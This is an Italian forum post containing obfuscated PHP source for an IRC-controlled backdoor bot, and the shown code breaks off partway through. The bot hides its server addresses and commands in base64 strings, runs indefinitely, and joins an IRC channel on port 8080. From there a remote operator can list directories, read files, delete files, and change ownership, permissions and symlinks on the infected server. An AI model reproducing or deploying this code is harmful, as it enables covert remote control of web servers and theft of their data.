codice:
<? set_time_limit(0); ini_set("max_execution_time",0); set_magic_quotes_runtime(0); ini_set('output_buffering',0);
error_reporting(0); ignore_user_abort(); $cd263a566 = array ( "po" => 8080, "sp" => "qdHH3KWXlISXmA==",
"ch" => "WY/U", "ke" => "o9CZ0qGWjA==", "ha" => "ZaaOi2pjTlGFm1dS", "pa" => "b9DInqVXWlRWW2uGbGVmaJlpmKRoomrPnWmgmKqpxq0=",
"tr" => "*", "mrnd" => 9, "mo" => "LXggaQ==", "ve" => "bUlSQyA2LjI0IEJZIEtoYWxlZCBNYXJkYW0tQmF5"
); function nc8a89c2c($d341be97d) { $d341be97d = str_replace(" ", "", $d341be97d); return $d341be97d;
} function p9ccc9fce($d341be97d) { $d341be97d = base64_decode(nc8a89c2c($d341be97d)); return $d341be97d;
} function y658cce19() { global $cd263a566; $gee11cbb1 = array(); $cd707b814 = ""; $w59b51417 = array("qeHS2LmTkISHiqZRq5qYmKGnY8+i2Q==", "o+XR37OMh5OQhpaIYqyYmZeiqJqW26M=", "mtrXnm6FlIRSk6g=", "mtrXnW6FlIRSk6g=", "mtrXnG6FlIRSk6g=", "mtrXm26FlIRSk6g=", "qdrJ3W6HkoyUU6GIqA==", "qdrJ3W6SlIiSiaGWYpeY", "pN/J3XFRiIdSh5+YmaGcophil9E=", "rs3R47hRiJGNlWGRmak=");
shuffle($w59b51417); if(($x351a1d2a = fsockopen(u39c63ddb($w59b51417[0]),$cd263a566['po'],$k70106d0d,$q809b1abe,15))) {
$q80521467 = gd9889714($cd263a566['mrnd']); if (strlen($cd263a566['sp'])>0) { o56eacb30($x351a1d2a, p9ccc9fce("UEFTUw==")." ".u39c63ddb($cd263a566['sp']));
} o56eacb30($x351a1d2a, p9ccc9fce("VVNFUg==")." ".rfb0daa8f($cd263a566['mrnd'])." 127.0.0.1 localhost :$q80521467");
o56eacb30($x351a1d2a, p9ccc9fce("TklDSw==")." $q80521467"); while (!feof($x351a1d2a)) { $e7fabc140 = trim(fgets($x351a1d2a,512));
$i6e2baaf3 = explode(" ",$e7fabc140); if(($e7fabc140 == $cd707b814)) continue; if (isset($i6e2baaf3[0]) && $i6e2baaf3[0] == p9ccc9fce("UElORw==")) {
o56eacb30($x351a1d2a, p9ccc9fce("UE9ORw==")." ".$i6e2baaf3[1]); } else if (isset($i6e2baaf3[1]) && $i6e2baaf3[1] == p9ccc9fce("MDAx")) {
o56eacb30($x351a1d2a, p9ccc9fce("TU9ERQ==")." $q80521467 ".p9ccc9fce($cd263a566['mo'])); o56eacb30($x351a1d2a, p9ccc9fce("Sk9JTg==")." ".u39c63ddb($cd263a566['ch'])." ".u39c63ddb($cd263a566['ke']));
} else if(isset($sdfff0a7f[1]) && $sdfff0a7f[1] == p9ccc9fce("NDMz")) { o56eacb30($x351a1d2a, p9ccc9fce("TklDSw==")." $q80521467");
} else if (isset($i6e2baaf3[1]) && isset($gee11cbb1[$i6e2baaf3[1]])) { unset($gee11cbb1[$i6e2baaf3[1]]);
} else if (isset($i6e2baaf3[1]) && ($i6e2baaf3[1] == p9ccc9fce("UFJJVk1TRw==") || $i6e2baaf3[1] == p9ccc9fce("MzMy"))) {
$o78e73102 = strstr($e7fabc140," :"); $o78e73102 = substr($o78e73102,2); $sdfff0a7f = explode(" ",$o78e73102);
$p67b3dba8 = $i6e2baaf3[0]; $a7c6483dd = explode("!",$p67b3dba8); $a7c6483dd = substr($a7c6483dd[0],1);
$y73be252c = FALSE; if ($sdfff0a7f[0] == "\1".p9ccc9fce("VkVSU0lPTg==")."\1") { o56eacb30($x351a1d2a,"NOTICE ".$a7c6483dd." :\1".p9ccc9fce("VkVSU0lPTg==")." ".p9ccc9fce($cd263a566['ve'])."\1");
} for ($r865c0c0b=0;$r865c0c0b<count($sdfff0a7f);$r865c0c0b++) { if($sdfff0a7f[$r865c0c0b] == "-s") {
$y73be252c = TRUE; } } if ($i6e2baaf3[1] == p9ccc9fce("MzMy")) { $w01b6e203 = $i6e2baaf3[3]; } elseif ($i6e2baaf3[2] == $q80521467) {
$w01b6e203 = $a7c6483dd; } else { $w01b6e203 = $i6e2baaf3[2]; } if ($sdfff0a7f[0] == PHP_OS) { array_shift($sdfff0a7f);
} if (substr($sdfff0a7f[0],0,1) == $cd263a566['tr']) { if (isset($gee11cbb1[$p67b3dba8]) || $i6e2baaf3[1] == "332") {
switch (substr($sdfff0a7f[0],1)) { case p9ccc9fce("bG8="): if ($i6e2baaf3[1] != p9ccc9fce("MzMy")) {
yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "out"); } break; case p9ccc9fce("ZDFlbm93"): o56eacb30($x351a1d2a, p9ccc9fce("UVVJVCA6SSBRVUlU"));
fclose($x351a1d2a); exit(0); break; case p9ccc9fce("cmF3"): if (count($sdfff0a7f)>1) { o56eacb30($x351a1d2a, substr($o78e73102,strlen($sdfff0a7f[0])));
} break; case p9ccc9fce("bHM="): if (isset($sdfff0a7f[1])) { $z954eef6d = $sdfff0a7f[1]; } else { $z954eef6d = getcwd();
} if (is_dir($z954eef6d)) { if (($g73600783 = opendir($z954eef6d))) { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "Dir// Now listing: \2".$z954eef6d."\2");
while (($a435ed7e9 = readdir($g73600783)) !== FALSE) { if ($a435ed7e9 != "." && $a435ed7e9 != "..") {
yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "> (".filetype($z954eef6d."/".$a435ed7e9).") $a435ed7e9");
sleep(1); } } closedir(); } else { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "Dir// Unable to list contents of \2".$z954eef6d."\2");
} } else { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "Dir// \2".$z954eef6d."\2 is not a dir!");
} break; case p9ccc9fce("Y2F0"): if (count($sdfff0a7f) > 1) { if (is_file($sdfff0a7f[1])) { if (($p0666f0ac = fopen($sdfff0a7f[1],"r"))) {
yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "CAT// Now reading file: \2".$sdfff0a7f[1]."\2"); while(!feof($p0666f0ac)) {
$f6438c669 = trim(fgets($p0666f0ac,256)); yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "> $f6438c669");
sleep(1); } yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "> [EOF]"); } else { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "CAT// Couldn't open \2".$sdfff0a7f[1]."\2 for reading.");
} } else { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "CAT// \2".$sdfff0a7f[1]."\2 is not a file");
} } break; case p9ccc9fce("cHdk"): yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "PWD// Current dir: ".getcwd());
break; case p9ccc9fce("Y2Q="): if (count($sdfff0a7f) > 1) { if (chdir($sdfff0a7f[1])) { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "CD// Changed dir to ".$sdfff0a7f[1]);
} else { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "CD// Failed to change dir"); } } break; case p9ccc9fce("cm0="):
if (count($sdfff0a7f) > 1) { if (unlink($sdfff0a7f[1])) { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "RM// Deleted \2".$sdfff0a7f[1]."\2");
} else { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "RM// Failed to delete \2".$sdfff0a7f[1]."\2");
} } break; case p9ccc9fce("dG91Y2g="): if (count($sdfff0a7f) > 1) { if (touch($sdfff0a7f[1])) { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "Touch// Touched \2".$sdfff0a7f[1]."\2");
} else { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "Touch// Failed to touch \2".$sdfff0a7f[1]."\2");
} } break; case p9ccc9fce("c3ltbGluaw=="): if (count($sdfff0a7f) > 2) { if (symlink($sdfff0a7f[1],$sdfff0a7f[2])) {
yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "SymLink// Symlinked \2".$sdfff0a7f[2]."\2 To \2".$sdfff0a7f[1]."\2");
} else { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "SymLink// Failed to link \2".$sdfff0a7f[2]."\2 To \2".$sdfff0a7f[1]."\2");
} } break; case p9ccc9fce("Y2hvd24="): if (count($sdfff0a7f) > 2) { if (chown($sdfff0a7f[1],$sdfff0a7f[2])) {
yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "Chown// Chowned \2".$sdfff0a7f[1]."\2 To \2".$sdfff0a7f[2]."\2");
} else { yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "Chown// Failed to chown \2".$sdfff0a7f[1]."\2 To \2".$sdfff0a7f[2]."\2");
} } break; case p9ccc9fce("Y2htb2Q="): if (count($sdfff0a7f) > 2) { if(chmod($sdfff0a7f[1],$sdfff0a7f[2])) {
yf2f4e964($x351a1d2a, $y73be252c, $w01b6e203, "Chmod// Chmodded \2".$sdfff0a7f[1]."\2 with permissions \2".$sdfff0a7f[2]."\2");
continua...
Rispondi quotando